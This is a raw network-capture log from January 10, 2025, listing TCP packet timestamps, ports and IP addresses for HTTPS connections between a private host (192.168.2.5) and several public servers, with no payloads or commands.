Jan 10, 2025 12:04:36.529367924 CET	443	49900	142.250.186.100	192.168.2.5
Jan 10, 2025 12:04:36.529433966 CET	49900	443	192.168.2.5	142.250.186.100
Jan 10, 2025 12:04:36.529643059 CET	49900	443	192.168.2.5	142.250.186.100
Jan 10, 2025 12:04:36.529654980 CET	443	49900	142.250.186.100	192.168.2.5
Jan 10, 2025 12:04:36.536664009 CET	443	49890	104.16.118.116	192.168.2.5
Jan 10, 2025 12:04:36.537307024 CET	49890	443	192.168.2.5	104.16.118.116
Jan 10, 2025 12:04:36.537336111 CET	443	49890	104.16.118.116	192.168.2.5
Jan 10, 2025 12:04:36.538764000 CET	443	49890	104.16.118.116	192.168.2.5
Jan 10, 2025 12:04:36.538824081 CET	49890	443	192.168.2.5	104.16.118.116
Jan 10, 2025 12:04:36.539140940 CET	49890	443	192.168.2.5	104.16.118.116
Jan 10, 2025 12:04:36.539217949 CET	443	49890	104.16.118.116	192.168.2.5
Jan 10, 2025 12:04:36.539277077 CET	49890	443	192.168.2.5	104.16.118.116
Jan 10, 2025 12:04:36.543230057 CET	49889	443	192.168.2.5	104.16.118.116
Jan 10, 2025 12:04:36.544609070 CET	443	49887	104.19.175.188	192.168.2.5
Jan 10, 2025 12:04:36.544682980 CET	443	49887	104.19.175.188	192.168.2.5
Jan 10, 2025 12:04:36.545149088 CET	49887	443	192.168.2.5	104.19.175.188
Jan 10, 2025 12:04:36.545290947 CET	49887	443	192.168.2.5	104.19.175.188
Jan 10, 2025 12:04:36.545299053 CET	443	49887	104.19.175.188	192.168.2.5
Jan 10, 2025 12:04:36.548115969 CET	443	49892	104.19.175.188	192.168.2.5
Jan 10, 2025 12:04:36.549313068 CET	49892	443	192.168.2.5	104.19.175.188
Jan 10, 2025 12:04:36.549328089 CET	443	49892	104.19.175.188	192.168.2.5
Jan 10, 2025 12:04:36.550468922 CET	443	49892	104.19.175.188	192.168.2.5
Jan 10, 2025 12:04:36.550539970 CET	49892	443	192.168.2.5	104.19.175.188
Jan 10, 2025 12:04:36.550858974 CET	49892	443	192.168.2.5	104.19.175.188
Jan 10, 2025 12:04:36.550923109 CET	443	49892	104.19.175.188	192.168.2.5
Jan 10, 2025 12:04:36.550986052 CET	49892	443	192.168.2.5	104.19.175.188
Jan 10, 2025 12:04:36.551043987 CET	443	49893	104.18.41.124	192.168.2.5
Jan 10, 2025 12:04:36.553277016 CET	49893	443	192.168.2.5	104.18.41.124
Jan 10, 2025 12:04:36.553303957 CET	443	49893	104.18.41.124	192.168.2.5
Jan 10, 2025 12:04:36.557137966 CET	443	49893	104.18.41.124	192.168.2.5
Jan 10, 2025 12:04:36.557229042 CET	49893	443	192.168.2.5	104.18.41.124
Jan 10, 2025 12:04:36.557529926 CET	49893	443	192.168.2.5	104.18.41.124
Jan 10, 2025 12:04:36.557637930 CET	49893	443	192.168.2.5	104.18.41.124
Jan 10, 2025 12:04:36.557641983 CET	443	49893	104.18.41.124	192.168.2.5
Jan 10, 2025 12:04:36.557709932 CET	443	49893	104.18.41.124	192.168.2.5
Jan 10, 2025 12:04:36.573014021 CET	443	49891	104.19.175.188	192.168.2.5
Jan 10, 2025 12:04:36.573331118 CET	49891	443	192.168.2.5	104.19.175.188
Jan 10, 2025 12:04:36.573374033 CET	443	49891	104.19.175.188	192.168.2.5
Jan 10, 2025 12:04:36.577328920 CET	443	49891	104.19.175.188	192.168.2.5
Jan 10, 2025 12:04:36.577534914 CET	49891	443	192.168.2.5	104.19.175.188
Jan 10, 2025 12:04:36.577904940 CET	49891	443	192.168.2.5	104.19.175.188
Jan 10, 2025 12:04:36.577991009 CET	443	49891	104.19.175.188	192.168.2.5
Jan 10, 2025 12:04:36.578059912 CET	49891	443	192.168.2.5	104.19.175.188
Jan 10, 2025 12:04:36.579360962 CET	443	49890	104.16.118.116	192.168.2.5
Jan 10, 2025 12:04:36.580099106 CET	443	49894	104.16.118.116	192.168.2.5
Jan 10, 2025 12:04:36.581255913 CET	49894	443	192.168.2.5	104.16.118.116
Jan 10, 2025 12:04:36.581263065 CET	443	49894	104.16.118.116	192.168.2.5
Jan 10, 2025 12:04:36.582161903 CET	443	49888	104.17.173.91	192.168.2.5
Jan 10, 2025 12:04:36.582248926 CET	443	49888	104.17.173.91	192.168.2.5
Jan 10, 2025 12:04:36.582314014 CET	49888	443	192.168.2.5	104.17.173.91
Jan 10, 2025 12:04:36.582684040 CET	443	49894	104.16.118.116	192.168.2.5
Jan 10, 2025 12:04:36.582747936 CET	49894	443	192.168.2.5	104.16.118.116
Jan 10, 2025 12:04:36.583602905 CET	49894	443	192.168.2.5	104.16.118.116
Jan 10, 2025 12:04:36.583676100 CET	443	49894	104.16.118.116	192.168.2.5
Jan 10, 2025 12:04:36.583741903 CET	49894	443	192.168.2.5	104.16.118.116
Jan 10, 2025 12:04:36.584029913 CET	49888	443	192.168.2.5	104.17.173.91
Jan 10, 2025 12:04:36.584053993 CET	443	49888	104.17.173.91	192.168.2.5
Jan 10, 2025 12:04:36.590090990 CET	49890	443	192.168.2.5	104.16.118.116
Jan 10, 2025 12:04:36.590109110 CET	443	49890	104.16.118.116	192.168.2.5
Jan 10, 2025 12:04:36.591335058 CET	443	49892	104.19.175.188	192.168.2.5
Jan 10, 2025 12:04:36.605730057 CET	49892	443	192.168.2.5	104.19.175.188
Jan 10, 2025 12:04:36.605762959 CET	443	49892	104.19.175.188	192.168.2.5
Jan 10, 2025 12:04:36.605767012 CET	49893	443	192.168.2.5	104.18.41.124
Jan 10, 2025 12:04:36.605773926 CET	443	49893	104.18.41.124	192.168.2.5
Jan 10, 2025 12:04:36.621462107 CET	49891	443	192.168.2.5	104.19.175.188
Jan 10, 2025 12:04:36.621500015 CET	443	49891	104.19.175.188	192.168.2.5
Jan 10, 2025 12:04:36.627285004 CET	443	49889	104.16.118.116	192.168.2.5
Jan 10, 2025 12:04:36.627321005 CET	443	49894	104.16.118.116	192.168.2.5
Jan 10, 2025 12:04:36.627446890 CET	443	49889	104.16.118.116	192.168.2.5
Jan 10, 2025 12:04:36.628381968 CET	49889	443	192.168.2.5	104.16.118.116
Jan 10, 2025 12:04:36.628515005 CET	49889	443	192.168.2.5	104.16.118.116
Jan 10, 2025 12:04:36.628525972 CET	443	49889	104.16.118.116	192.168.2.5
Jan 10, 2025 12:04:36.636965036 CET	49890	443	192.168.2.5	104.16.118.116
Jan 10, 2025 12:04:36.637115002 CET	49894	443	192.168.2.5	104.16.118.116
Jan 10, 2025 12:04:36.637120008 CET	443	49894	104.16.118.116	192.168.2.5
Jan 10, 2025 12:04:36.652638912 CET	49893	443	192.168.2.5	104.18.41.124
Jan 10, 2025 12:04:36.652714968 CET	49892	443	192.168.2.5	104.19.175.188
Jan 10, 2025 12:04:36.668399096 CET	49891	443	192.168.2.5	104.19.175.188
Jan 10, 2025 12:04:36.683864117 CET	49894	443	192.168.2.5	104.16.118.116
Jan 10, 2025 12:04:36.685435057 CET	443	49892	104.19.175.188	192.168.2.5
Jan 10, 2025 12:04:36.685504913 CET	443	49892	104.19.175.188	192.168.2.5
Jan 10, 2025 12:04:36.685590029 CET	49892	443	192.168.2.5	104.19.175.188
Jan 10, 2025 12:04:36.687652111 CET	49892	443	192.168.2.5	104.19.175.188
Jan 10, 2025 12:04:36.687668085 CET	443	49892	104.19.175.188	192.168.2.5
Jan 10, 2025 12:04:36.700737000 CET	443	49890	104.16.118.116	192.168.2.5
Jan 10, 2025 12:04:36.700839043 CET	443	49890	104.16.118.116	192.168.2.5
Jan 10, 2025 12:04:36.700918913 CET	49890	443	192.168.2.5	104.16.118.116
Jan 10, 2025 12:04:36.701411009 CET	49890	443	192.168.2.5	104.16.118.116
Jan 10, 2025 12:04:36.701431990 CET	443	49890	104.16.118.116	192.168.2.5
Jan 10, 2025 12:04:36.714025974 CET	443	49893	104.18.41.124	192.168.2.5
Jan 10, 2025 12:04:36.714253902 CET	443	49893	104.18.41.124	192.168.2.5
Jan 10, 2025 12:04:36.714328051 CET	49893	443	192.168.2.5	104.18.41.124
Jan 10, 2025 12:04:36.714334011 CET	443	49893	104.18.41.124	192.168.2.5
Jan 10, 2025 12:04:36.714463949 CET	443	49893	104.18.41.124	192.168.2.5
Jan 10, 2025 12:04:36.715228081 CET	49893	443	192.168.2.5	104.18.41.124
Jan 10, 2025 12:04:36.717777967 CET	49893	443	192.168.2.5	104.18.41.124
Jan 10, 2025 12:04:36.717788935 CET	443	49893	104.18.41.124	192.168.2.5
Jan 10, 2025 12:04:36.735780001 CET	443	49891	104.19.175.188	192.168.2.5
Jan 10, 2025 12:04:36.735856056 CET	443	49891	104.19.175.188	192.168.2.5
Jan 10, 2025 12:04:36.736073017 CET	49891	443	192.168.2.5	104.19.175.188
Jan 10, 2025 12:04:36.742496014 CET	49891	443	192.168.2.5	104.19.175.188
Jan 10, 2025 12:04:36.742522955 CET	443	49891	104.19.175.188	192.168.2.5
Jan 10, 2025 12:04:36.759099007 CET	443	49894	104.16.118.116	192.168.2.5
Jan 10, 2025 12:04:36.759243965 CET	443	49894	104.16.118.116	192.168.2.5
Jan 10, 2025 12:04:36.759418964 CET	49894	443	192.168.2.5	104.16.118.116
Jan 10, 2025 12:04:36.760302067 CET	49894	443	192.168.2.5	104.16.118.116
Jan 10, 2025 12:04:36.760309935 CET	443	49894	104.16.118.116	192.168.2.5
Jan 10, 2025 12:04:37.181512117 CET	443	49900	142.250.186.100	192.168.2.5
Jan 10, 2025 12:04:37.181817055 CET	49900	443	192.168.2.5	142.250.186.100
Jan 10, 2025 12:04:37.181843042 CET	443	49900	142.250.186.100	192.168.2.5
Jan 10, 2025 12:04:37.183270931 CET	443	49900	142.250.186.100	192.168.2.5
Jan 10, 2025 12:04:37.184418917 CET	49900	443	192.168.2.5	142.250.186.100
Jan 10, 2025 12:04:37.185586929 CET	49900	443	192.168.2.5	142.250.186.100
Jan 10, 2025 12:04:37.185686111 CET	443	49900	142.250.186.100	192.168.2.5
Jan 10, 2025 12:04:37.230756998 CET	49900	443	192.168.2.5	142.250.186.100
Jan 10, 2025 12:04:37.230771065 CET	443	49900	142.250.186.100	192.168.2.5
Jan 10, 2025 12:04:37.277664900 CET	49900	443	192.168.2.5	142.250.186.100
Jan 10, 2025 12:04:47.068911076 CET	443	49900	142.250.186.100	192.168.2.5
Jan 10, 2025 12:04:47.069013119 CET	443	49900	142.250.186.100	192.168.2.5
Jan 10, 2025 12:04:47.069080114 CET	49900	443	192.168.2.5	142.250.186.100
Jan 10, 2025 12:04:47.076553106 CET	49900	443	192.168.2.5	142.250.186.100
Jan 10, 2025 12:04:47.076570988 CET	443	49900	142.250.186.100	192.168.2.5
Jan 10, 2025 12:05:36.575685024 CET	50042	443	192.168.2.5	142.250.186.100
Jan 10, 2025 12:05:36.575747967 CET	443	50042	142.250.186.100	192.168.2.5
Jan 10, 2025 12:05:36.575948954 CET	50042	443	192.168.2.5	142.250.186.100
Jan 10, 2025 12:05:36.576163054 CET	50042	443	192.168.2.5	142.250.186.100
Jan 10, 2025 12:05:36.576174974 CET	443	50042	142.250.186.100	192.168.2.5
Jan 10, 2025 12:05:37.229487896 CET	443	50042	142.250.186.100	192.168.2.5
Jan 10, 2025 12:05:37.230506897 CET	50042	443	192.168.2.5	142.250.186.100
Jan 10, 2025 12:05:37.230619907 CET	443	50042	142.250.186.100	192.168.2.5
Jan 10, 2025 12:05:37.231794119 CET	443	50042	142.250.186.100	192.168.2.5
Jan 10, 2025 12:05:37.232712984 CET	50042	443	192.168.2.5	142.250.186.100
Jan 10, 2025 12:05:37.232927084 CET	443	50042	142.250.186.100	192.168.2.5
Jan 10, 2025 12:05:37.277230024 CET	50042	443	192.168.2.5	142.250.186.100
Jan 10, 2025 12:05:47.126502037 CET	443	50042	142.250.186.100	192.168.2.5
Jan 10, 2025 12:05:47.126574039 CET	443	50042	142.250.186.100	192.168.2.5
Jan 10, 2025 12:05:47.126718998 CET	50042	443	192.168.2.5	142.250.186.100
Jan 10, 2025 12:05:49.076394081 CET	50042	443	192.168.2.5	142.250.186.100
Jan 10, 2025 12:05:49.076415062 CET	443	50042	142.250.186.100	192.168.2.5
Jan 10, 2025 12:06:51.686600924 CET	50044	443	192.168.2.5	104.16.118.116
Jan 10, 2025 12:06:51.686656952 CET	443	50044	104.16.118.116	192.168.2.5
Jan 10, 2025 12:06:51.686778069 CET	50044	443	192.168.2.5	104.16.118.116
Jan 10, 2025 12:06:51.688086033 CET	50045	443	192.168.2.5	104.18.80.204
Jan 10, 2025 12:06:51.688137054 CET	443	50045	104.18.80.204	192.168.2.5
Jan 10, 2025 12:06:51.688235044 CET	50045	443	192.168.2.5	104.18.80.204
Jan 10, 2025 12:06:51.688235998 CET	50044	443	192.168.2.5	104.16.118.116
Jan 10, 2025 12:06:51.688251972 CET	443	50044	104.16.118.116	192.168.2.5
Jan 10, 2025 12:06:51.688457012 CET	50045	443	192.168.2.5	104.18.80.204
Jan 10, 2025 12:06:51.688476086 CET	443	50045	104.18.80.204	192.168.2.5
Jan 10, 2025 12:06:52.144222975 CET	443	50045	104.18.80.204	192.168.2.5
Jan 10, 2025 12:06:52.144699097 CET	50045	443	192.168.2.5	104.18.80.204
Jan 10, 2025 12:06:52.144771099 CET	443	50045	104.18.80.204	192.168.2.5
Jan 10, 2025 12:06:52.145132065 CET	443	50045	104.18.80.204	192.168.2.5
Jan 10, 2025 12:06:52.145479918 CET	50045	443	192.168.2.5	104.18.80.204
Jan 10, 2025 12:06:52.145550966 CET	443	50045	104.18.80.204	192.168.2.5
Jan 10, 2025 12:06:52.145626068 CET	50045	443	192.168.2.5	104.18.80.204
Jan 10, 2025 12:06:52.145759106 CET	50045	443	192.168.2.5	104.18.80.204
Jan 10, 2025 12:06:52.145793915 CET	443	50045	104.18.80.204	192.168.2.5
Jan 10, 2025 12:06:52.173681021 CET	443	50044	104.16.118.116	192.168.2.5
Jan 10, 2025 12:06:52.174015045 CET	50044	443	192.168.2.5	104.16.118.116
Jan 10, 2025 12:06:52.174036980 CET	443	50044	104.16.118.116	192.168.2.5
Jan 10, 2025 12:06:52.174371958 CET	443	50044	104.16.118.116	192.168.2.5
Jan 10, 2025 12:06:52.174662113 CET	50044	443	192.168.2.5	104.16.118.116
Jan 10, 2025 12:06:52.174719095 CET	443	50044	104.16.118.116	192.168.2.5
Jan 10, 2025 12:06:52.174760103 CET	50044	443	192.168.2.5	104.16.118.116
Jan 10, 2025 12:06:52.215337038 CET	443	50044	104.16.118.116	192.168.2.5
Jan 10, 2025 12:06:52.215718031 CET	50044	443	192.168.2.5	104.16.118.116
Jan 10, 2025 12:06:52.354477882 CET	443	50044	104.16.118.116	192.168.2.5
Jan 10, 2025 12:06:52.354726076 CET	443	50044	104.16.118.116	192.168.2.5
Jan 10, 2025 12:06:52.354809046 CET	50044	443	192.168.2.5	104.16.118.116
Jan 10, 2025 12:06:52.357100964 CET	50044	443	192.168.2.5	104.16.118.116
Jan 10, 2025 12:06:52.357116938 CET	443	50044	104.16.118.116	192.168.2.5
Jan 10, 2025 12:06:52.371270895 CET	50046	443	192.168.2.5	104.16.118.116
Jan 10, 2025 12:06:52.371304989 CET	443	50046	104.16.118.116	192.168.2.5
Jan 10, 2025 12:06:52.371419907 CET	50046	443	192.168.2.5	104.16.118.116
Jan 10, 2025 12:06:52.371588945 CET	50046	443	192.168.2.5	104.16.118.116
Jan 10, 2025 12:06:52.371603966 CET	443	50046	104.16.118.116	192.168.2.5
Jan 10, 2025 12:06:52.384588957 CET	443	50045	104.18.80.204	192.168.2.5
Jan 10, 2025 12:06:52.384735107 CET	443	50045	104.18.80.204	192.168.2.5
Jan 10, 2025 12:06:52.384790897 CET	50045	443	192.168.2.5	104.18.80.204
Jan 10, 2025 12:06:52.385729074 CET	50045	443	192.168.2.5	104.18.80.204
Jan 10, 2025 12:06:52.385740042 CET	443	50045	104.18.80.204	192.168.2.5
Jan 10, 2025 12:06:52.469949007 CET	50047	443	192.168.2.5	104.19.175.188
Jan 10, 2025 12:06:52.470004082 CET	443	50047	104.19.175.188	192.168.2.5
Jan 10, 2025 12:06:52.470093966 CET	50047	443	192.168.2.5	104.19.175.188
Jan 10, 2025 12:06:52.470504045 CET	50047	443	192.168.2.5	104.19.175.188
Jan 10, 2025 12:06:52.470520973 CET	443	50047	104.19.175.188	192.168.2.5
Jan 10, 2025 12:06:52.470767021 CET	50048	443	192.168.2.5	104.19.175.188
Jan 10, 2025 12:06:52.470808029 CET	443	50048	104.19.175.188	192.168.2.5
Jan 10, 2025 12:06:52.470861912 CET	50048	443	192.168.2.5	104.19.175.188
Jan 10, 2025 12:06:52.471012115 CET	50048	443	192.168.2.5	104.19.175.188
Jan 10, 2025 12:06:52.471030951 CET	443	50048	104.19.175.188	192.168.2.5
Jan 10, 2025 12:06:52.697946072 CET	50049	443	192.168.2.5	104.21.32.1
Jan 10, 2025 12:06:52.698004961 CET	443	50049	104.21.32.1	192.168.2.5
Jan 10, 2025 12:06:52.698076963 CET	50049	443	192.168.2.5	104.21.32.1
Jan 10, 2025 12:06:52.698484898 CET	50050	443	192.168.2.5	104.21.32.1
Jan 10, 2025 12:06:52.698512077 CET	443	50050	104.21.32.1	192.168.2.5
Jan 10, 2025 12:06:52.698563099 CET	50050	443	192.168.2.5	104.21.32.1
Jan 10, 2025 12:06:52.698863029 CET	50050	443	192.168.2.5	104.21.32.1
Jan 10, 2025 12:06:52.698874950 CET	443	50050	104.21.32.1	192.168.2.5
Jan 10, 2025 12:06:52.714652061 CET	50051	443	192.168.2.5	104.21.32.1
Jan 10, 2025 12:06:52.714668989 CET	443	50051	104.21.32.1	192.168.2.5
Jan 10, 2025 12:06:52.714766979 CET	50051	443	192.168.2.5	104.21.32.1
Jan 10, 2025 12:06:52.715732098 CET	50049	443	192.168.2.5	104.21.32.1
Jan 10, 2025 12:06:52.715770960 CET	443	50049	104.21.32.1	192.168.2.5
Jan 10, 2025 12:06:52.716677904 CET	50051	443	192.168.2.5	104.21.32.1
Jan 10, 2025 12:06:52.716696024 CET	443	50051	104.21.32.1	192.168.2.5
Jan 10, 2025 12:06:52.856836081 CET	443	50046	104.16.118.116	192.168.2.5
Jan 10, 2025 12:06:52.857213974 CET	50046	443	192.168.2.5	104.16.118.116
Jan 10, 2025 12:06:52.857230902 CET	443	50046	104.16.118.116	192.168.2.5
Jan 10, 2025 12:06:52.858336926 CET	443	50046	104.16.118.116	192.168.2.5
Jan 10, 2025 12:06:52.858671904 CET	50046	443	192.168.2.5	104.16.118.116
Jan 10, 2025 12:06:52.858737946 CET	443	50046	104.16.118.116	192.168.2.5
Jan 10, 2025 12:06:52.858829975 CET	50046	443	192.168.2.5	104.16.118.116
Jan 10, 2025 12:06:52.899333000 CET	443	50046	104.16.118.116	192.168.2.5
Jan 10, 2025 12:06:52.932146072 CET	443	50048	104.19.175.188	192.168.2.5
Jan 10, 2025 12:06:52.932528973 CET	50048	443	192.168.2.5	104.19.175.188
Jan 10, 2025 12:06:52.932544947 CET	443	50048	104.19.175.188	192.168.2.5
Jan 10, 2025 12:06:52.933635950 CET	443	50048	104.19.175.188	192.168.2.5
Jan 10, 2025 12:06:52.933942080 CET	50048	443	192.168.2.5	104.19.175.188
Jan 10, 2025 12:06:52.934102058 CET	50048	443	192.168.2.5	104.19.175.188
Jan 10, 2025 12:06:52.934119940 CET	443	50048	104.19.175.188	192.168.2.5
Jan 10, 2025 12:06:52.938952923 CET	443	50047	104.19.175.188	192.168.2.5
Jan 10, 2025 12:06:52.939198017 CET	50047	443	192.168.2.5	104.19.175.188
Jan 10, 2025 12:06:52.939233065 CET	443	50047	104.19.175.188	192.168.2.5
Jan 10, 2025 12:06:52.939570904 CET	443	50047	104.19.175.188	192.168.2.5
Jan 10, 2025 12:06:52.939865112 CET	50047	443	192.168.2.5	104.19.175.188
Jan 10, 2025 12:06:52.939929962 CET	443	50047	104.19.175.188	192.168.2.5
Jan 10, 2025 12:06:52.939997911 CET	50047	443	192.168.2.5	104.19.175.188
Jan 10, 2025 12:06:52.975332022 CET	443	50048	104.19.175.188	192.168.2.5
Jan 10, 2025 12:06:52.981478930 CET	50048	443	192.168.2.5	104.19.175.188
Jan 10, 2025 12:06:52.983326912 CET	443	50047	104.19.175.188	192.168.2.5
Jan 10, 2025 12:06:53.024836063 CET	443	50046	104.16.118.116	192.168.2.5
Jan 10, 2025 12:06:53.025016069 CET	443	50046	104.16.118.116	192.168.2.5
Jan 10, 2025 12:06:53.025141001 CET	50046	443	192.168.2.5	104.16.118.116
Jan 10, 2025 12:06:53.025741100 CET	50046	443	192.168.2.5	104.16.118.116
Jan 10, 2025 12:06:53.025758982 CET	443	50046	104.16.118.116	192.168.2.5
Jan 10, 2025 12:06:53.081680059 CET	443	50048	104.19.175.188	192.168.2.5
Jan 10, 2025 12:06:53.081773996 CET	443	50048	104.19.175.188	192.168.2.5
Jan 10, 2025 12:06:53.081861973 CET	50048	443	192.168.2.5	104.19.175.188
Jan 10, 2025 12:06:53.082350969 CET	50048	443	192.168.2.5	104.19.175.188
Jan 10, 2025 12:06:53.082370043 CET	443	50048	104.19.175.188	192.168.2.5
Jan 10, 2025 12:06:53.102261066 CET	443	50047	104.19.175.188	192.168.2.5
Jan 10, 2025 12:06:53.102341890 CET	443	50047	104.19.175.188	192.168.2.5
Jan 10, 2025 12:06:53.102411032 CET	50047	443	192.168.2.5	104.19.175.188
Jan 10, 2025 12:06:53.102971077 CET	50047	443	192.168.2.5	104.19.175.188
Jan 10, 2025 12:06:53.102983952 CET	443	50047	104.19.175.188	192.168.2.5
Jan 10, 2025 12:06:53.115220070 CET	50052	443	192.168.2.5	104.18.80.204
Jan 10, 2025 12:06:53.115236998 CET	443	50052	104.18.80.204	192.168.2.5
Jan 10, 2025 12:06:53.115355015 CET	50052	443	192.168.2.5	104.18.80.204
Jan 10, 2025 12:06:53.115569115 CET	50052	443	192.168.2.5	104.18.80.204
Jan 10, 2025 12:06:53.115581989 CET	443	50052	104.18.80.204	192.168.2.5
Jan 10, 2025 12:06:53.179729939 CET	443	50049	104.21.32.1	192.168.2.5
Jan 10, 2025 12:06:53.180035114 CET	443	50050	104.21.32.1	192.168.2.5
Jan 10, 2025 12:06:53.180104017 CET	50049	443	192.168.2.5	104.21.32.1
Jan 10, 2025 12:06:53.180123091 CET	443	50049	104.21.32.1	192.168.2.5
Jan 10, 2025 12:06:53.180207968 CET	50050	443	192.168.2.5	104.21.32.1
Jan 10, 2025 12:06:53.180217981 CET	443	50050	104.21.32.1	192.168.2.5
Jan 10, 2025 12:06:53.181139946 CET	443	50049	104.21.32.1	192.168.2.5
Jan 10, 2025 12:06:53.181211948 CET	50049	443	192.168.2.5	104.21.32.1
Jan 10, 2025 12:06:53.181240082 CET	443	50050	104.21.32.1	192.168.2.5
Jan 10, 2025 12:06:53.181294918 CET	50050	443	192.168.2.5	104.21.32.1
Jan 10, 2025 12:06:53.182810068 CET	50049	443	192.168.2.5	104.21.32.1
Jan 10, 2025 12:06:53.182842016 CET	50049	443	192.168.2.5	104.21.32.1
Jan 10, 2025 12:06:53.182881117 CET	443	50049	104.21.32.1	192.168.2.5
Jan 10, 2025 12:06:53.182930946 CET	50049	443	192.168.2.5	104.21.32.1
Jan 10, 2025 12:06:53.182970047 CET	50049	443	192.168.2.5	104.21.32.1
Jan 10, 2025 12:06:53.185898066 CET	50050	443	192.168.2.5	104.21.32.1
Jan 10, 2025 12:06:53.185916901 CET	50050	443	192.168.2.5	104.21.32.1
Jan 10, 2025 12:06:53.185950994 CET	50050	443	192.168.2.5	104.21.32.1
Jan 10, 2025 12:06:53.186033010 CET	443	50050	104.21.32.1	192.168.2.5
Jan 10, 2025 12:06:53.186091900 CET	50050	443	192.168.2.5	104.21.32.1
Jan 10, 2025 12:06:53.186124086 CET	50053	443	192.168.2.5	104.21.32.1
Jan 10, 2025 12:06:53.186156034 CET	443	50053	104.21.32.1	192.168.2.5
Jan 10, 2025 12:06:53.186289072 CET	50053	443	192.168.2.5	104.21.32.1
Jan 10, 2025 12:06:53.186499119 CET	50054	443	192.168.2.5	104.21.32.1
Jan 10, 2025 12:06:53.186527967 CET	443	50054	104.21.32.1	192.168.2.5
Jan 10, 2025 12:06:53.186625957 CET	50054	443	192.168.2.5	104.21.32.1
Jan 10, 2025 12:06:53.186786890 CET	50053	443	192.168.2.5	104.21.32.1
Jan 10, 2025 12:06:53.186788082 CET	50054	443	192.168.2.5	104.21.32.1
Jan 10, 2025 12:06:53.186796904 CET	443	50053	104.21.32.1	192.168.2.5
Jan 10, 2025 12:06:53.186803102 CET	443	50054	104.21.32.1	192.168.2.5
Jan 10, 2025 12:06:53.190239906 CET	443	50051	104.21.32.1	192.168.2.5
Jan 10, 2025 12:06:53.190421104 CET	50051	443	192.168.2.5	104.21.32.1
Jan 10, 2025 12:06:53.190431118 CET	443	50051	104.21.32.1	192.168.2.5
Jan 10, 2025 12:06:53.191873074 CET	443	50051	104.21.32.1	192.168.2.5
Jan 10, 2025 12:06:53.191931963 CET	50051	443	192.168.2.5	104.21.32.1
Jan 10, 2025 12:06:53.192210913 CET	50051	443	192.168.2.5	104.21.32.1
Jan 10, 2025 12:06:53.192225933 CET	50051	443	192.168.2.5	104.21.32.1
Jan 10, 2025 12:06:53.192251921 CET	50051	443	192.168.2.5	104.21.32.1
Jan 10, 2025 12:06:53.192293882 CET	443	50051	104.21.32.1	192.168.2.5
Jan 10, 2025 12:06:53.192343950 CET	50051	443	192.168.2.5	104.21.32.1
Jan 10, 2025 12:06:53.192478895 CET	50055	443	192.168.2.5	104.21.32.1
Jan 10, 2025 12:06:53.192493916 CET	443	50055	104.21.32.1	192.168.2.5
Jan 10, 2025 12:06:53.192586899 CET	50055	443	192.168.2.5	104.21.32.1
Jan 10, 2025 12:06:53.192787886 CET	50055	443	192.168.2.5	104.21.32.1
Jan 10, 2025 12:06:53.192797899 CET	443	50055	104.21.32.1	192.168.2.5
Jan 10, 2025 12:06:53.594774961 CET	443	50052	104.18.80.204	192.168.2.5
Jan 10, 2025 12:06:53.595086098 CET	50052	443	192.168.2.5	104.18.80.204
Jan 10, 2025 12:06:53.595112085 CET	443	50052	104.18.80.204	192.168.2.5
Jan 10, 2025 12:06:53.596498013 CET	443	50052	104.18.80.204	192.168.2.5
Jan 10, 2025 12:06:53.596807003 CET	50052	443	192.168.2.5	104.18.80.204
Jan 10, 2025 12:06:53.596957922 CET	50052	443	192.168.2.5	104.18.80.204
Jan 10, 2025 12:06:53.596961975 CET	443	50052	104.18.80.204	192.168.2.5
Jan 10, 2025 12:06:53.597039938 CET	443	50052	104.18.80.204	192.168.2.5
Jan 10, 2025 12:06:53.637798071 CET	50052	443	192.168.2.5	104.18.80.204
Jan 10, 2025 12:06:53.648953915 CET	443	50053	104.21.32.1	192.168.2.5
Jan 10, 2025 12:06:53.649101019 CET	443	50055	104.21.32.1	192.168.2.5
Jan 10, 2025 12:06:53.649424076 CET	50053	443	192.168.2.5	104.21.32.1
Jan 10, 2025 12:06:53.649445057 CET	443	50053	104.21.32.1	192.168.2.5
Jan 10, 2025 12:06:53.649525881 CET	443	50054	104.21.32.1	192.168.2.5
Jan 10, 2025 12:06:53.649662018 CET	50055	443	192.168.2.5	104.21.32.1
Jan 10, 2025 12:06:53.649671078 CET	443	50055	104.21.32.1	192.168.2.5
Jan 10, 2025 12:06:53.649760962 CET	50054	443	192.168.2.5	104.21.32.1
Jan 10, 2025 12:06:53.649775982 CET	443	50054	104.21.32.1	192.168.2.5
Jan 10, 2025 12:06:53.650624990 CET	443	50055	104.21.32.1	192.168.2.5
Jan 10, 2025 12:06:53.650696039 CET	50055	443	192.168.2.5	104.21.32.1
Jan 10, 2025 12:06:53.650732040 CET	443	50054	104.21.32.1	192.168.2.5
Jan 10, 2025 12:06:53.650897980 CET	50054	443	192.168.2.5	104.21.32.1
Jan 10, 2025 12:06:53.651192904 CET	443	50053	104.21.32.1	192.168.2.5
Jan 10, 2025 12:06:53.651240110 CET	50053	443	192.168.2.5	104.21.32.1
Jan 10, 2025 12:06:53.652287006 CET	50055	443	192.168.2.5	104.21.32.1
Jan 10, 2025 12:06:53.652348042 CET	443	50055	104.21.32.1	192.168.2.5
Jan 10, 2025 12:06:53.652939081 CET	50053	443	192.168.2.5	104.21.32.1
Jan 10, 2025 12:06:53.653011084 CET	443	50053	104.21.32.1	192.168.2.5
Jan 10, 2025 12:06:53.653357029 CET	50054	443	192.168.2.5	104.21.32.1
Jan 10, 2025 12:06:53.653428078 CET	443	50054	104.21.32.1	192.168.2.5
Jan 10, 2025 12:06:53.653620005 CET	50055	443	192.168.2.5	104.21.32.1
Jan 10, 2025 12:06:53.653637886 CET	443	50055	104.21.32.1	192.168.2.5
Jan 10, 2025 12:06:53.701049089 CET	50053	443	192.168.2.5	104.21.32.1
Jan 10, 2025 12:06:53.701049089 CET	50055	443	192.168.2.5	104.21.32.1
Jan 10, 2025 12:06:53.701051950 CET	50054	443	192.168.2.5	104.21.32.1
Jan 10, 2025 12:06:53.701066017 CET	443	50054	104.21.32.1	192.168.2.5
Jan 10, 2025 12:06:53.701066017 CET	443	50053	104.21.32.1	192.168.2.5
Jan 10, 2025 12:06:53.748788118 CET	50053	443	192.168.2.5	104.21.32.1
Jan 10, 2025 12:06:53.748790026 CET	50054	443	192.168.2.5	104.21.32.1
Jan 10, 2025 12:06:53.765604973 CET	443	50052	104.18.80.204	192.168.2.5
Jan 10, 2025 12:06:53.765681982 CET	443	50052	104.18.80.204	192.168.2.5
Jan 10, 2025 12:06:53.765743971 CET	50052	443	192.168.2.5	104.18.80.204
Jan 10, 2025 12:06:53.767031908 CET	50052	443	192.168.2.5	104.18.80.204
